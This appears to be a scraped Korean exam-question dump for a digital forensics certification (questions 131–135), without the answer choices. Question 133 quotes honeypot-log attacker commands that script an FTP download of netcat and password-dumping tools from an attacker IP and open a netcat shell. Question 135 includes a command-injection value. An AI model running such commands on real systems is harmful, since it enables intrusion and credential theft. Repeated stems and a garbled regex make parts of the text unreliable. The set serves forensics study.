312-49v11 문제 131
테스터는 맬웨어 동작을 분석하기 위해 다음 중 어떤 설정을 선택해야 합니까?
312-49v11 문제 132
최근 한 대형 금융 기관에서 중요 서버에서 비정상적으로 많은 로그인 시도 실패가 발생했습니다. 보안 분석가는 Splunk Enterprise Security(ES)를 사용하여 로그를 조사하고 무차별 대입 공격(brute force attack) 가능성을 의심합니다. Windows 이벤트 뷰어 로그를 분석한 결과, 분석가는 일련의 이벤트 ID 4625(로그인 실패)와 이벤트 ID 4624(로그인 성공)를 감지했습니다.
다음 SIEM 기능 중 분석가가 잠재적 공격의 근원을 정확하게 파악하고 추가 조사를 수행하는 데 가장 유용한 것은 무엇입니까?
다음 SIEM 기능 중 분석가가 잠재적 공격의 근원을 정확하게 파악하고 추가 조사를 수행하는 데 가장 유용한 것은 무엇입니까?
312-49v11 문제 133
다음은 lab.wiretrip.net에 호스팅된 허니팟 로그에서 발췌한 내용입니다. Snort는 213.116.251.162에서 발생한 유니코드 공격을 보고했습니다. 파일 권한 정규화 취약점(유니코드 공격)은 일반적으로 스크립트 실행 권한이 없는 임의의 폴더에서 스크립트가 실행될 수 있도록 허용합니다. 공격자는 유니코드 공격을 시도하여 결국 boot.ini 파일을 표시하는 데 성공합니다.
그런 다음 msadcs.dll을 통해 RDS를 조작합니다. RDS 취약점을 통해 악의적인 사용자는 IIS 서버에서 셸 명령(예: CMD.EXE)을 실행하는 SQL 문을 생성할 수 있습니다. 그는 해당 디렉터리의 존재 여부를 확인하기 위해 간단한 쿼리를 실행하고, msadcs.dll에 대한 쿼리를 통해 정상적으로 작동하고 있음을 확인합니다. 공격자는 RDS 쿼리를 실행하여 아래와 같이 명령을 실행합니다.
"cmd1.exe /c open 213.116.251.162 >ftpcom"
"cmd1.exe /c echo johna2k >>ftpcom"
"cmd1.exe /c echo haxedj00 >>ftpcom"
"cmd1.exe /c echo get nc.exe >>ftpcom"
"cmd1.exe /c echo get pdump.exe >>ftpcom"
"cmd1.exe /c echo get samdump.dll >>ftpcom"
"cmd1.exe /c echo quit >>ftpcom"
"cmd1.exe /c ftp -s:ftpcom"
"cmd1.exe /c nc -l -p 6969 -e cmd1.exe"
제시된 사례로부터 무엇을 추론할 수 있나요?
그런 다음 msadcs.dll을 통해 RDS를 조작합니다. RDS 취약점을 통해 악의적인 사용자는 IIS 서버에서 셸 명령(예: CMD.EXE)을 실행하는 SQL 문을 생성할 수 있습니다. 그는 해당 디렉터리의 존재 여부를 확인하기 위해 간단한 쿼리를 실행하고, msadcs.dll에 대한 쿼리를 통해 정상적으로 작동하고 있음을 확인합니다. 공격자는 RDS 쿼리를 실행하여 아래와 같이 명령을 실행합니다.
"cmd1.exe /c open 213.116.251.162 >ftpcom"
"cmd1.exe /c echo johna2k >>ftpcom"
"cmd1.exe /c echo haxedj00 >>ftpcom"
"cmd1.exe /c echo get nc.exe >>ftpcom"
"cmd1.exe /c echo get pdump.exe >>ftpcom"
"cmd1.exe /c echo get samdump.dll >>ftpcom"
"cmd1.exe /c echo quit >>ftpcom"
"cmd1.exe /c ftp -s:ftpcom"
"cmd1.exe /c nc -l -p 6969 -e cmd1.exe"
제시된 사례로부터 무엇을 추론할 수 있나요?
312-49v11 문제 134
Simona는 웹 애플리케이션 특정 공격 시도를 탐지하기 위한 정규 표현식을 작성했는데, 그 형식은 /((\%3C)|<K(\%2F)|V)*[a-zO-9\%I*((\%3E)|>)/lx입니다.
다음 중 (|\%3E)|>) 부분은 무엇을 찾습니까?
다음 중 (|\%3E)|>) 부분은 무엇을 찾습니까?
312-49v11 문제 135
포렌식 조사 분야의 누군가가 아파치 액세스 로그를 살펴보고 있습니다. 명령 주입 공격의 증거를 찾고 있습니다. 이 과정에서 IP 주소 "10.0.0.8"이 ip=127.0.0.1;ls+/var/www/html 명령을 사용하여 GET 요청을 보낸 로그 항목을 발견했습니다. 이 데이터를 바탕으로 볼 때, 이 공격의 목적은 무엇일까요?